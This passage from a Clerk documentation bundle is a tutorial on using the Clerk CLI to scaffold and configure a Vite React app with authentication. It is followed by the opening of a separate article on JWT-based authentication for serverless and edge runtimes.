Not covered here: building your own backend to verify Clerk-issued [tokens](/glossary#token), React Router or TanStack Router integration (the CLI starter ships neither), and Next.js App Router patterns (the Next CLI article covers those). If you need server-side rendering or [middleware](/glossary#middleware)-based route protection, [Next.js](/glossary#next-js) or TanStack Start is the better starting point.

## Why the Clerk CLI for React

React is the broadest surface Clerk ships for. The [pre-CLI path](/docs/react/getting-started/quickstart) — install `@clerk/react`, hand-wire [`<ClerkProvider>`](/glossary#clerkprovider) in `main.tsx`, paste keys from a dashboard tab into `.env.local`, and hope you got the provider placement right — worked, but it was fragile. Every tutorial had to re-explain the wiring, and AI coding agents couldn't reliably reproduce the setup without stepping out to a browser.

The CLI changes the answer. `clerk init --starter --framework react` scaffolds a Vite + React 19 project with `@clerk/react` v6, a wired `<ClerkProvider>`, `<Show when="signed-in">` gating, and populated [environment variables](/glossary#environment-variables). One command. The same CLI also unlocks three things the dashboard-era tutorials never could:

- `clerk config patch` — apply an instance configuration diff as reviewable JSON, with `--dry-run` and `--yes` flags so changes flow through code review, not a toggle.
- `clerk api` — call any Backend or Platform API endpoint with your authenticated context already resolved.
- `clerk doctor` — pre-flight your local setup and surface missing keys, drifted skill versions, or configuration mismatches.

Taken together, the CLI is the first Clerk surface that treats a React app setup as a scriptable, auditable pipeline. That is the shape AI coding agents need and the shape a serious team wants in CI. This guide assumes you have decided a client-rendered React SPA is the right shape for your product. If you are not sure — or you know you will need server-side [sessions](/glossary#session), middleware, or server-only secrets in route handlers — jump to the Next.js or TanStack Start entries in this cluster before you start.

## Prerequisites

You need:

- [ ] Node.js 20 or newer (the CLI and the generated Vite project both require it).
- [ ] A package manager: `pnpm` is used throughout this guide, but `npm`, `yarn`, and `bun` all work.
- [ ] A free Clerk account at [clerk.com](/).
- [ ] A terminal, a browser, and an email address you can receive code to.
- [ ] Optional: an existing Clerk application ID (the `app_…` prefix visible in the dashboard URL). If you do not have one, the CLI creates one for you.

You do not need Git initialized, a deployment target, or [OAuth](/glossary#oauth) provider credentials to follow this walkthrough. OAuth social providers work in development with Clerk's shared credentials; production OAuth requires your own credentials, which the "Pull environment variables" section flags.

## Install or update the Clerk CLI

The [Clerk CLI README](https://github.com/clerk/cli#installation) advertises two install methods: a Homebrew tap for macOS and Linux, and an npm package that works anywhere Node.js is installed (including Windows). Pick one — whichever you pick, updates happen in-place with `clerk update`:

```sh {{ filename: 'terminal' }}
# macOS and Linux (Homebrew tap)
brew install clerk/stable/clerk
```

```sh {{ filename: 'terminal' }}
# Any platform with Node.js 20+ (cross-platform, including Windows)
npm install -g clerk
```

The Homebrew tap lives at [github.com/clerk/homebrew-stable](https://github.com/clerk/homebrew-stable) and pulls the matching prebuilt binary from the [CLI's GitHub releases](https://github.com/clerk/cli/releases). The npm package is published as `clerk` (not `@clerk/cli`) — a small wrapper that downloads the right native binary on install. Both paths land the same `clerk` executable on your `PATH`.

Verify the install and update if needed:

```bash
clerk --version
clerk update --yes
```

Anything older than the 2026-04-22 release lacks `clerk init`, `clerk config`, `clerk skill`, and the `--mode agent` flag. `clerk update --yes` upgrades to the latest stable; `clerk update --channel canary` opts into pre-release builds if you want to track fixes between stable releases.

> \[!TIP]
> `clerk doctor` is a good habit. Run it any time the CLI or your project feels off — it checks authentication state, env files, skill currency, and more in one pass. `clerk doctor --spotlight` formats the output for pasting into a bug report.

## Install the Clerk agent skill and update existing Clerk skills

If you are using an AI coding agent (Claude Code, Codex, Aider, Gemini CLI, or similar), install the Clerk skill bundle once per machine:

```bash
clerk skill install -y
```

This installs Clerk-maintained agent skills into your global agent config (for Claude Code, `~/.claude/skills/`). The bundle covers framework-specific guidance for React, Next.js, TanStack Start, Expo, Astro, and others, plus shared skills like `clerk-setup`, `clerk-webhooks`, and `clerk-custom-ui`. The agent loads the right skill by topic, so you do not have to remember names.

> \[!NOTE]
> Skills drift as Clerk ships. The content your agent sees is cached locally; new features, deprecations, and breaking changes only surface after a skill update. Re-run `clerk skill install -y` after each Clerk major release (Core 3 in March 2026 is the most recent) and any time an agent-generated snippet looks suspicious. `clerk doctor` calls out out-of-date skills when it sees them.

If you have hand-authored Clerk skills from earlier experiments, review them after the install — the bundled skills supersede the stale ones, and keeping both causes the agent to mix old and new APIs in the same file.

## Log in and pick an application

The CLI holds credentials in your OS keychain after a browser-based OAuth flow:

```bash
clerk auth login
clerk whoami
```

`clerk auth login` opens your browser to Clerk, you approve the CLI, and the token lands in the keychain. `clerk whoami` prints your email and which application is currently selected. If no app is selected, the next command asks you to pick one:

```bash
clerk apps list
```

The list shows each app's human name and `app_…` ID. You will pass the ID to `clerk init` (or `clerk link`) in the next sections — copy it.

## Scaffold a React app with `clerk init --starter`

From an empty parent directory, run:

```bash
clerk init --starter --framework react --pm pnpm
```

The CLI prompts for a project name (defaults to `my-clerk-react-app`), creates the directory, installs dependencies, links the project to a Clerk application (prompting you to pick from `clerk apps list` or to create a new one), and writes `.env.local`.

Here is what lands in the directory:

```
my-clerk-react-app/
├── .env.local               # VITE_CLERK_PUBLISHABLE_KEY + CLERK_SECRET_KEY
├── index.html
├── package.json             # vite ^8.0, react ^19.2, @clerk/react ^6.4
├── src/
│   ├── App.tsx              # sample page
│   ├── main.tsx             # <ClerkProvider> wrapper, <Show> gating
│   └── ...
├── tsconfig.json
└── vite.config.ts
```

Three things matter for this guide:

1. **The underlying tool is Vite 8.** Dev server runs on [port 5173](https://vite.dev/config/server-options) by default, env vars use the `VITE_` prefix, and `pnpm build` runs `tsc -b && vite build`. If you are familiar with Vite, this is the same Vite.
2. **The Clerk package is `@clerk/react`, not `@clerk/clerk-react`.** [Core 3 (March 2026)](/changelog/2026-03-03-core-3) renamed the SPA SDK. Legacy snippets that import from `@clerk/clerk-react` predate Core 3 and will not work against the current types.
3. **The starter ships no router and no protected route.** It is a single-page `App.tsx` with `<Show when="signed-in">` / `<Show when="signed-out">` gating the header. Adding a router (React Router, TanStack Router) is your call and out of scope for the CLI scaffold.

> \[!NOTE]
> Passing `--pm pnpm` tells the CLI to run `pnpm install`, but the generated lockfile for the React starter is still `package-lock.json` at the time of writing. `pnpm dev`, `pnpm build`, and `pnpm install` all work because `package.json` scripts are generic — the lockfile name is cosmetic, not functional. If this bothers you, delete `package-lock.json` and run `pnpm install` to regenerate `pnpm-lock.yaml`.

## Link to an existing Clerk app (optional)

If `clerk init` linked you to the wrong application, or you want to point the project at production later, unlink and relink:

```bash
clerk unlink
clerk link --app app_xxx
```

`clerk unlink` clears the local link (in `.clerk/config.json` inside the project). `clerk link --app <id>` associates the project with a different application. Re-running `clerk env pull` after a relink rewrites `.env.local` with the new app's keys, so the dev server picks up the change on next restart.

Linking is per-project, not per-machine. A single machine can have multiple projects pointed at different apps (staging, prod, per-client instances) without interference.

## Pull environment variables

The starter already pulled env vars during `clerk init`. If you later add a teammate, move to a new machine, or rotate a key, pull again:

```bash
clerk env pull
cat .env.local
```

Expected output:

```bash
VITE_CLERK_PUBLISHABLE_KEY=pk_test_...
CLERK_SECRET_KEY=sk_test_...
```

`VITE_CLERK_PUBLISHABLE_KEY` is the client-exposed [publishable key](/glossary#publishable-key). Vite [inlines every variable prefixed with `VITE_`](https://vite.dev/guide/env-and-mode) into the client bundle at build time, which is expected for this key — publishable keys identify your Clerk instance to the Frontend API and carry no authority beyond that.

`CLERK_SECRET_KEY` is the server-side [secret key](/glossary#secret-key). Vite does not expose unprefixed variables to the client bundle, so it stays out of your browser-shipped JavaScript. The CLI writes it anyway so the same `.env.local` works when (not if) you add a backend service or use tooling like `clerk doctor`. Treat the presence of the secret key in the file as a placeholder for the future, not as an invitation to read it from React code.

> \[!WARNING]
> Never rename `CLERK_SECRET_KEY` to `VITE_CLERK_SECRET_KEY`. Doing so tells Vite to inline the secret into the client bundle, which means anyone who loads your site can read it in the browser devtools. A 2024 write-up of a real breach ([Sprocket Security](https://www.sprocketsecurity.com/blog/hunting-secrets-in-javascript-at-scale-how-a-vite-misconfiguration-lead-to-full-ci-cd-compromise)) traced full CI/CD compromise to exactly this Vite misconfiguration on an unrelated app. The `VITE_` prefix is the only meaningful client/server boundary in a Vite project — do not cross it.

If you need production keys on a CI server or in a deploy pipeline, pass `--instance prod` to `clerk env pull`. Development and production keys are different and non-overlapping; the CLI surfaces whichever one the linked application's instance selector points at.

## Run `clerk doctor` the first time (it should fail)

Before you start the dev server, prove the safety net works. Move the env file out of the way and run:

```bash
mv .env.local .env.local.bak
clerk doctor
```

Expected output:

```
! No .env.local or .env file found
    Run `clerk env pull` to create one with your Clerk keys.
```

`clerk doctor` is doing its job: it spotted the missing env file before the dev server would have handed you an opaque "publishable key is required" error. Two unrelated warnings may show up in the same output (missing `~/.clerk/config.json`, shell completion not installed) — both are noisy-but-not-broken and do not affect the app.

> \[!TIP]
> Whenever the dev server fails to render Clerk UI, try `clerk doctor` before opening devtools. Missing env files, drifted skill versions, an unselected application, and `@clerk/react` version mismatches all surface here first.

## Run `clerk doctor` after env pull (green)

Restore the env file and re-run:

```bash
mv .env.local.bak .env.local
clerk doctor
```

Expected output:

```
✓ .env.local contains VITE_CLERK_PUBLISHABLE_KEY and CLERK_SECRET_KEY (development instance)
```

Green. Now you can start the dev server.

## Start the dev server and sign up a test user

Run:

```bash
pnpm dev
```

Vite prints a URL like `http://localhost:5173/`. Open it. The starter renders a header with a sign-in button and a sign-up button. Click **Sign up**, enter an email address, complete the one-time code, and the header flips to show `<UserButton />` — Clerk's prebuilt account menu with sign-out, account management, and (if enabled) organization switching.

A real sign-up creates a real user in your Clerk development instance. You can confirm with `clerk api /users` from the project directory — the new user's record comes back as JSON.

> \[!IMPORTANT]
> If the starter's `main.tsx` reads `publishableKey` implicitly from the environment and you hit a TypeScript build error like `TS2741: Property 'publishableKey' is missing`, pass the prop explicitly:
>
> ```tsx
> import { createRoot } from 'react-dom/client'
> import { ClerkProvider } from '@clerk/react'
> import App from './App'
>
> createRoot(document.getElementById('root')!).render(
>   <ClerkProvider publishableKey={import.meta.env.VITE_CLERK_PUBLISHABLE_KEY}>
>     <App />
>   </ClerkProvider>,
> )
> ```
>
> The provider auto-reads the env var at runtime, but the TypeScript prop is non-optional in the current types. The explicit form works everywhere and is safer to copy into your own `main.tsx`.

## React-specific: protecting a route and understanding SPA auth considerations

React SPA + Clerk is a specific shape, and a few of its details only matter in this shape. This section covers them all in one place so you can decide up front whether a pure SPA is the right fit.

### Gating UI with `<Show>`

In Clerk Core 3, the React SDK unifies every conditional render behind one component. The legacy `<SignedIn>` / `<SignedOut>` components were removed from `@clerk/react` v6 — the current primitive is [`<Show>`](/docs/react/reference/components/control/show) with a typed `when` prop:

```tsx
// src/App.tsx
import { Show, UserButton } from '@clerk/react'

function Dashboard() {
  return (
    <section>
      <h2>Dashboard</h2>
      <p>Signed-in-only content.</p>
    </section>
  )
}

export default function App() {
  return (
    <main>
      <header>
        <Show when="signed-in">
          <UserButton />
        </Show>
        <Show when="signed-out">
          <p>Sign in to see the dashboard.</p>
        </Show>
      </header>

      <Show when="signed-in">
        <Dashboard />
      </Show>
    </main>
  )
}
```

The `when` prop takes `"signed-in"`, `"signed-out"`, or an authorization object (role, permission, feature, plan) — one component for both authentication and authorization checks. `<Show>` is purely visual: it only controls what renders. Any data the signed-in UI depends on still needs to come from an API call that a backend has independently verified.

### Route gating without a router

The CLI starter does not ship a router. You have two options:

- **Conditional render only** — wrap the component (or the whole page) in `<Show when="signed-in">` as above. Fine for a single-page dashboard.
- **Add a router** — install `react-router-dom` (or TanStack Router), define routes, and gate them with `<Show>` or a custom guard. The pattern is the same either way: client-side guards are UX, not security.

For a custom guard, `useAuth()` from `@clerk/react` returns `{ isLoaded, isSignedIn, userId, getToken }`. Wrap any route or component in a conditional that waits for `isLoaded` (to avoid rendering during the initial auth resolve) and then branches on `isSignedIn`:

```tsx
import { useAuth } from '@clerk/react'
import { Navigate } from 'react-router-dom'

export function RequireAuth({ children }: { children: React.ReactNode }) {
  const { isLoaded, isSignedIn } = useAuth()
  if (!isLoaded) return null
  if (!isSignedIn) return <Navigate to="/sign-in" replace />
  return <>{children}</>
}
```

Use hooks when you need to run code conditionally (not just render), use `<Show>` when you only need to render conditionally.

### Where the publishable key lives in your bundle

The publishable key ships to the client, and that is deliberate. It identifies your Clerk Frontend API to the browser and cannot be used to call the Backend API or modify user records (see [How Clerk works](/docs/guides/how-clerk-works/overview) for the underlying model). The authority surface of a publishable key is: tell Clerk "I am this instance, here is a session, please issue a JWT." That is the entire capability.

The secret key never ships to the client. In a pure SPA there is no place to use it safely — it belongs on a server. `clerk env pull` writes it to `.env.local` because your future backend will need it and keeping both keys in one file avoids drift. Until that backend exists, the secret key sits there unused.

### OAuth redirect URLs on production deploys

In development, OAuth flows (Google, GitHub, etc.) use Clerk's shared OAuth credentials, which are pre-allowlisted for `localhost`. In production, each origin you deploy to — `https://app.example.com`, `https://staging.example.com` — must be allowlisted in your Clerk instance before first sign-in will complete. Missing this step is the most common "it worked locally, broken in prod" OAuth failure.

Allowlist production origins via the Clerk Dashboard ([production deploy checklist](/docs/guides/development/deployment/production), [customize redirect URLs](/docs/guides/development/customize-redirect-urls)) or via the Backend API. If you enable your own OAuth providers (not Clerk's shared credentials), each provider also has its own authorized-redirect list inside that provider's console — Google, GitHub, and Apple all require the provider-side allowlist independently of Clerk's side. Plan both sides of that allowlist change into the same deploy.

### When React SPA + Clerk is not enough

A pure client-rendered React app using Clerk is the right shape when:

- Your app is fully client-rendered and talks to APIs you already secure elsewhere.
- The sensitive data your app shows is gated by its own API's authorization, not by what the React tree renders.
- You do not need server-side session reads or middleware-based route protection.

If any of those do not hold — if you need server-side rendering, protected API routes on the same origin, or server-only secrets in request handlers — reach for Next.js or TanStack Start. Both ship dedicated Clerk SDKs (`@clerk/nextjs` v6, `@clerk/tanstack-react-start` v1) with server-side auth helpers, middleware, and SSR-aware providers. Switching framework later is annoying but possible; getting the shape right up front is cheaper.

If you have a backend (Express, Hono, FastAPI, Go, whatever), Clerk issues a short-lived [JWT](/glossary#json-web-token) for each signed-in user that your SPA attaches to outbound requests as a `Bearer` token via `useAuth().getToken()`. Your backend must verify that token — signature, issuer, expiry, and any required claims — on every protected request using Clerk's server SDK or a JWKS lookup. The "How do I verify Clerk tokens on my backend?" question in the FAQ points at the dedicated guide; that workflow is out of scope for this article.

## Configure Clerk as code: `clerk config`

The click-through dashboard is still there when you want it, but the CLI now exposes instance configuration as pull-able, patch-able JSON. Combined with git, that is the "config as code" workflow dashboards never supported: every sign-in option, passkey toggle, session policy, and attack-protection rule is a diff on a branch, reviewed and merged like any other change.

The core loop is four commands:

```bash
clerk config schema                          # what fields exist
clerk config pull --output config.before.json  # snapshot the current state
clerk config patch --dry-run --json '{...}'  # preview a change
clerk config patch --json '{...}' --yes      # apply it
```

Let's run four patches against the React instance. Start by snapshotting the baseline:

```bash
clerk config pull --output config.before.json
```

### Patch 1 — enable passkeys

Passkeys are [WebAuthn](/glossary#webauthn)-backed credentials (biometric or device-bound) that replace passwords. The correct schema field is `used_for_sign_in`:

```bash
clerk config patch --dry-run --json '{"auth_passkey":{"used_for_sign_in":true}}'
clerk config patch --json '{"auth_passkey":{"used_for_sign_in":true}}' --yes
```

> \[!WARNING]
> `auth_passkey.enabled` is not a real schema field. Patches that include it are accepted by the API but silently stripped on apply, and the diff looks like a no-op even though the CLI reports success. Always snapshot with `clerk config pull` and diff against the result to confirm a patch actually persisted. `used_for_sign_in` is the field that toggles passkey sign-in on.

> \[!IMPORTANT]
> Passkeys are a paid-plan feature. On the free plan, `config patch` returns a 403 when you try to enable them. Plan and pricing details live on the [Clerk Pricing page](/pricing).

### Patch 2 — add username as a sign-in method

Enable username-based sign-in and sign-up:

```bash
clerk config patch --dry-run --json '{"auth_username":{"used_for_sign_in":true,"used_for_sign_up":true}}'
clerk config patch --json '{"auth_username":{"used_for_sign_in":true,"used_for_sign_up":true}}' --yes
```

Each identifier (email, phone, username, first name, last name) has the same two flags — `used_for_sign_in` and `used_for_sign_up` — which is how you mix and match the shape of your sign-in form as code.

### Patch 3 — set session lifetime

Session policy lives under `session`. The correct schema field is `lifetime` (seconds), not `inactivity_timeout_in_ms`:

```bash
clerk config patch --dry-run --json '{"session":{"lifetime":7200}}'
clerk config patch --json '{"session":{"lifetime":7200}}' --yes
```

`lifetime: 7200` sets a two-hour session token lifetime. The Clerk frontend auto-refreshes tokens before expiry, so `lifetime` sets the outer bound, not the frequency of a full sign-in.

> \[!IMPORTANT]
> Custom session configuration is a paid-plan feature. On the free plan, the patch returns 403. Pricing on the [Clerk Pricing page](/pricing).

### Patch 4 — harden attack protection

Block disposable-email providers and tighten the brute-force lockout threshold in one patch:

```bash
clerk config patch --dry-run --json '{"auth_access_control":{"block_disposable_email_domains":true},"auth_attack_protection":{"user_lockout":{"max_attempts":10}}}'
clerk config patch --json '{"auth_access_control":{"block_disposable_email_domains":true},"auth_attack_protection":{"user_lockout":{"max_attempts":10}}}' --yes
```

One JSON payload can touch unrelated subsystems; `config patch` merges into the existing configuration and only persists fields the schema recognizes.

### Confirm the diff

Snapshot again and diff:

```bash
clerk config pull --output config.after.json
diff config.before.json config.after.json
```

Expected output (abbreviated):

```
auth_access_control.block_disposable_email_domains: false → true
auth_attack_protection.user_lockout.max_attempts:   100 → 10
auth_passkey.used_for_sign_in:                       false → true
auth_username.used_for_sign_in:                      false → true
auth_username.used_for_sign_up:                      false → true
session:                                             null → { allowed_clock_skew: 5, claims: {}, lifetime: 7200 }
```

If your diff has a field listed in one of the patches but missing from the after snapshot, that field name is not in the current schema. Re-check `clerk config schema` and adjust.

> \[!WARNING]
> `clerk config put` replaces the entire configuration with the supplied JSON. Fields you omit are reset to defaults — which, for a live application, can silently log every user out or strip OAuth providers. Use `patch` for incremental changes and reserve `put` for scripted instance re-creation with a reviewed-to-completion payload.

Commit `config.before.json` and `config.after.json` (or their delta) to your repo. When the next engineer asks "when did we turn on passkeys?" the answer is in `git log`, not a dashboard's audit tab.

## Verify the config changes worked

Reload the dev server (`Ctrl-C`, `pnpm dev`). Visit `/` signed in, open the `<UserButton />` menu, and pick **Manage account**. The `<UserProfile />` component now exposes a **Passkeys** section with a **Register a passkey** button — that is patch 1 taking effect. The sign-in page now accepts a username field for new sign-ups (patch 2). Your session tokens now expire after two hours (patch 3 — open devtools and inspect the `__session` cookie's `exp` claim to confirm).

If any of these do not appear, run `clerk doctor` and re-diff the before/after snapshots. Silent schema strips are the most common reason a patch looks like it applied but did not. See the warning in Patch 1 for the canonical example.

## Inspect your instance with `clerk api`

`clerk api` is an HTTP client pre-authenticated to your linked instance. It covers both the Backend API (users, organizations, sessions, etc.) and the Platform API (accounts, applications, instances — for managing Clerk itself).

List available endpoints:

```bash
clerk api ls users
```

Output: the endpoints under `/users`, with HTTP method and path. The same `ls` works against any resource:

```bash
clerk api ls organizations
clerk api ls sessions
clerk api ls sign-in-tokens
```

Fetch an actual resource:

```bash
clerk api /users
clerk api /users/<user_id>
```

The first returns the user list as JSON (empty array until you sign up). The second returns one user record.

For the Platform API — the surface that manages your Clerk account itself rather than the users inside one instance — pass `--platform`:

```bash
clerk api --platform ls
clerk api --platform /platform/applications
```

> \[!TIP]
> Platform API paths are prefixed with `/platform/...`, not `/accounts`. Calls like `clerk api --platform /accounts` return `clerk_key_invalid` because the routing table does not have an `/accounts` entry at the Platform level. Use `clerk api --platform ls` to browse the correct paths — `/platform/applications`, `/platform/instances`, and similar are the real endpoints.

Every `clerk api` call is a real API call against your real instance. Use `--instance dev` / `--instance prod` to target a specific instance if the app has both. Pipe the output through `jq` for quick filtering:

```bash
clerk api /users | jq '.[].email_addresses[0].email_address'
```

## CLI reference (quick skim)

The commands this article used, plus the handful you will reach for next:

| Command                                            | What it does                                                                     |
| -------------------------------------------------- | -------------------------------------------------------------------------------- |
| `clerk --version`                                  | Print CLI version.                                                               |
| `clerk update --yes`                               | Update to latest stable. `--channel canary` for pre-release.                     |
| `clerk auth login`                                 | Browser-based OAuth to Clerk. Stores tokens in OS keychain.                      |
| `clerk whoami`                                     | Print the authenticated user and currently-selected app.                         |
| `clerk apps list`                                  | List Clerk applications you have access to.                                      |
| `clerk apps create`                                | Create a new Clerk application without the dashboard.                            |
| `clerk init --starter --framework react --pm pnpm` | Scaffold a Vite + React + Clerk project.                                         |
| `clerk init`                                       | Same, but runs in an existing project directory (auto-detects framework).        |
| `clerk link --app app_xxx`                         | Associate the current project with a Clerk app.                                  |
| `clerk unlink`                                     | Clear the current project's application link.                                    |
| `clerk env pull`                                   | Write `.env.local` with the linked app's keys. `--instance prod` for production. |
| `clerk doctor`                                     | Pre-flight the local setup. `--spotlight` for bug-report formatting.             |
| `clerk config schema`                              | Print the configuration JSON schema.                                             |
| `clerk config pull --output <file>`                | Snapshot the instance configuration.                                             |
| `clerk config patch --dry-run --json '{...}'`      | Preview a config change.                                                         |
| `clerk config patch --json '{...}' --yes`          | Apply a config change.                                                           |
| `clerk config put`                                 | Replace the entire configuration (destructive — use sparingly).                  |
| `clerk api ls <resource>`                          | List endpoints under a resource.                                                 |
| `clerk api /<path>`                                | Call a Backend API endpoint.                                                     |
| `clerk api --platform /<path>`                     | Call a Platform API endpoint.                                                    |
| `clerk skill install -y`                           | Install Clerk-maintained agent skills globally.                                  |
| `clerk completion <shell>`                         | Generate shell completion for bash/zsh/fish.                                     |
| `clerk open`                                       | Open the Clerk Dashboard for the current app in your browser.                    |

Anything not listed here: run `clerk <subcommand> --help` or `clerk --help` for the full surface.

## FAQ

---

# Authentication for Serverless and Edge Deployments
URL: https://clerk.com/articles/authentication-for-serverless-and-edge-deployments.md
Date: 2026-04-22
Description: Ephemeral compute breaks traditional session auth. Implement stateless JWT verification and JWKS caching with Clerk across Vercel, Cloudflare Workers, Netlify Edge, and Lambda.

**How does authentication work for serverless and edge deployments?**

[Authentication](/glossary/authentication) for [serverless](/glossary/serverless-architecture) and edge runtimes uses short-lived, stateless [JWTs](/glossary/json-web-token) verified against a JWKS endpoint with local caching, because ephemeral compute cannot rely on long-lived session stores or in-memory caches. Managed providers (Clerk, Auth0, AWS Cognito, Supabase Auth, Firebase Authentication) handle key issuance, rotation, and edge-compatible SDKs; self-built options typically reach for `jose` with `crypto.subtle`. The walkthrough below splits "architectural edge" (Node.js proxies like Next.js 16 `proxy.ts`) from "runtime edge" (V8 isolates and WASM with Web Standards APIs only), then covers the five placement patterns, platform notes for Vercel, Cloudflare Workers, AWS Lambda, Netlify Edge, and Deno Deploy, and a hands-on Clerk implementation across Next.js 16, Cloudflare Workers, Expo, and a background worker.

Most auth libraries were designed for long-lived origin servers, so cold starts, no persistent memory, short CPU budgets, and V8-isolate runtime constraints ([Cloudflare Workers limits](https://developers.cloudflare.com/workers/platform/limits/)) all change the design. Warm-path latency targets stay in single-digit milliseconds — community benchmarks land at \~1.8ms for `jose` JWT verification on Cloudflare Workers and \~2.3ms on Vercel Edge (§8.1).

## What this article covers

This article is for developers who already have some serverless experience and are implementing authentication for the first time in edge or serverless environments, or who are trying to share auth across services in a monorepo. It covers:

- Core runtime differences between Node.js serverless and V8-isolate edge, and why they change auth design
- JWT and JWKS mechanics, including caching strategies that actually move the needle at the edge
- Five architectural patterns for placing auth in a serverless system
- Platform-specific notes for Vercel (Next.js 16), Cloudflare Workers, AWS Lambda, Netlify Edge, and Deno Deploy
- How to share auth configuration across apps in a monorepo without collapsing each service's runtime fit
- A hands-on walkthrough of implementing auth with Clerk across Next.js 16, Cloudflare Workers, Expo, and a background worker
- Objective comparison against Auth0, AWS Cognito, Supabase Auth, Firebase Authentication, and rolling your own with `jose`
- Security best practices, including the Next.js middleware CVE that shipped in 2025
- An implementation checklist, FAQ, and a statistics table with every quantitative claim traced to its source

## Why Authentication Is Different at the Edge and in Serverless

### The serverless and edge runtime model

Serverless means ephemeral compute — your function spins up per invocation, runs for a short, capped window, and disappears. Examples include AWS Lambda, Vercel Functions (Node.js), Netlify Functions, Azure Functions, and Google Cloud Run. The platform handles scaling; you pay for what runs.

"Edge" has two distinct meanings in this space, and mixing them up is the most common source of broken auth code.

- **Architectural edge**: compute placed geographically close to the user, but still running a familiar Node.js-style runtime. Next.js 16 `proxy.ts` is the canonical example — it sits in front of origin requests, but it runs on Node.js, not a V8 isolate ([Next.js `proxy.ts` API reference](https://nextjs.org/docs/app/api-reference/file-conventions/proxy), [Next.js 16 release blog](https://nextjs.org/blog/next-16)).
- **Runtime edge**: code that executes inside a V8 isolate or WASM runtime with Web Standards APIs only. Examples include Cloudflare Workers, Netlify Edge Functions (Deno), Deno Deploy, and Fastly Compute (WASM). `fs`, `net`, and most of the Node standard library are either absent or gated behind compatibility flags ([Cloudflare Workers Node.js compatibility](https://developers.cloudflare.com/workers/runtime-apis/nodejs/)).

> \[!NOTE]
> Next.js 16 `proxy.ts` sits in an "architectural edge" position but runs exclusively on the Node.js runtime. The `runtime` Route Segment Config option is not supported inside `proxy.ts` and setting it throws a build-time error ([Next.js `proxy.ts` reference](https://nextjs.org/docs/app/api-reference/file-conventions/proxy)).

A side-by-side of the two runtime families makes the constraints concrete:

| Constraint    | Node.js serverless                                                                                                                                                                                                                                                                                                                                                                                                                                    | V8 isolate / runtime edge                                                                                                                                                                                                                                                                                  |
| ------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Cold start    | AWS documents Lambda cold starts spanning "less than 100ms to well over 1 second" ([AWS Lambda cold start remediation](https://aws.amazon.com/blogs/compute/understanding-and-remediating-cold-starts-an-aws-lambda-perspective/)); Node.js 22 arm64 p50 \~294ms optimized in an independent benchmark ([Node.js 22 Lambda benchmarks](https://speedrun.nobackspacecrew.com/blog/2025/07/21/the-fastest-node-22-lambda-coldstart-configuration.html)) | Cloudflare Workers start in `<5ms` ([ByteByteGo Workers cold starts](https://blog.bytebytego.com/p/how-cloudflare-eliminates-cold-starts)); Deno Deploy \~3ms, 10ms p50 ([Deno Deploy](https://deno.com/deploy))                                                                                           |
| Memory        | Lambda 128MB to 10GB ([AWS Lambda quotas](https://aws.amazon.com/blogs/compute/understanding-and-remediating-cold-starts-an-aws-lambda-perspective/))                                                                                                                                                                                                                                                                                                 | Cloudflare Workers 128MB; Netlify Edge 512MB ([CF Workers limits](https://developers.cloudflare.com/workers/platform/limits/), [Netlify Edge limits](https://docs.netlify.com/build/edge-functions/limits/))                                                                                               |
| CPU budget    | Lambda up to 15 min wall time                                                                                                                                                                                                                                                                                                                                                                                                                         | Cloudflare Workers Free 10ms CPU; Paid 5 min CPU; Netlify Edge 50ms CPU per request                                                                                                                                                                                                                        |
| API surface   | Full Node.js stdlib + `crypto` module                                                                                                                                                                                                                                                                                                                                                                                                                 | Web Standards only by default (`globalThis.crypto.subtle`, `fetch`); `nodejs_compat` flag needed for Buffer/Streams on Workers                                                                                                                                                                             |
| Bundle limits | Vercel Node functions 250MB ([Vercel Functions limitations](https://vercel.com/docs/functions/limitations))                                                                                                                                                                                                                                                                                                                                           | Cloudflare Workers 3MB Free / 10MB Paid ([CF Workers limits](https://developers.cloudflare.com/workers/platform/limits/)); Vercel Edge Runtime 1MB Hobby / 2MB Pro / 4MB Enterprise after gzip ([Vercel Edge Runtime docs](https://vercel.com/docs/functions/runtimes/edge)); Netlify Edge 20MB compressed |

The cold-start and bundle differences both point at the same conclusion: auth code you ship to a V8-isolate runtime must be small, Web-Standards-native, and fast to start. Code that ships to Node.js serverless has room for larger dependencies but pays a cold-start tax whenever the instance turns over.

### Why traditional session auth breaks down

A classical session model assumes a long-lived server holding an in-memory cache backed by a nearby session database. Three assumptions break in serverless or edge environments.

- **Stateful session stores assume proximity.** Each edge point-of-presence (PoP) is physically far from any central session DB, so every verification becomes a cross-region round-trip. That defeats the latency advantage of serving from the edge.
- **In-memory caches do not persist.** Serverless functions tear down after their invocation window. V8 isolates may be evicted at any time. Per-isolate caches exist, but a cold isolate starts with an empty one.
- **Database round-trips per request are expensive at scale.** A community benchmark measured warm execution at \~167ms on an edge runtime versus \~287ms on a serverless backend when the serverless tier hit a session database ([ByteIota edge vs serverless](https://byteiota.com/edge-functions-vs-serverless-the-2025-performance-battle/)). Treat this as illustrative of the shape, not a universal constant — methodologies vary.

Cookie-based sessions still work, but only when the verification path is edge-compatible: a signed cookie verified with Web Crypto, or a JWT cookie parsed without pulling a Node-only library into the bundle.

### Cold starts, latency, and geographic distribution

Cold starts amplify auth latency because the first request through a new instance pays for everything at once: container spin-up, module evaluation, JWKS fetch, JWT parse, and any database lookups. A sub-millisecond warm auth check can turn into a multi-hundred-millisecond first-byte delay.

- AWS describes Lambda cold starts as spanning "less than 100ms to well over 1 second" depending on runtime, package size, and VPC attachment ([AWS Lambda cold start remediation](https://aws.amazon.com/blogs/compute/understanding-and-remediating-cold-starts-an-aws-lambda-perspective/)).
- Independent benchmarks place optimized Node.js 22 arm64 Lambda cold starts around p50 \~294ms ([Node.js 22 Lambda benchmarks](https://speedrun.nobackspacecrew.com/blog/2025/07/21/the-fastest-node-22-lambda-coldstart-configuration.html)).
- AWS SnapStart expanded to Python 3.12+ and .NET 8+ at re:Invent 2025 but is not yet available for Node.js ([AWS Lambda SnapStart docs](https://docs.aws.amazon.com/lambda/latest/dg/snapstart.html), [AWS re:Invent 2025 Lambda recap](https://dev.to/kazuya_dev/aws-reinvent-2025-whats-new-with-aws-lambda-cns376-3ojp)).

The practical principle is: **verify close to the user, authorize close to the data**. A signed JWT lets the edge answer "is this a valid token for user U?" with no database call. Authorization decisions ("can U perform action A on resource R?") usually still need state and run closer to the data.

### Runtime constraints that trip up auth libraries

